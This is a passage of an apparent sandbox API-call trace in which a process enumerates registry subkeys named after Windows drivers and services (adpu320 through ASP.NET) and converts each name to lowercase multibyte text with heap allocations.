cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.187] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.187] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.188] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.188] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.188] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.188] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.189] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.189] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.189] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0249.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.189] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.190] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.190] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.190] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.191] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.191] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.191] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0249.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.192] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.192] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.192] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.192] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0249.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.193] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 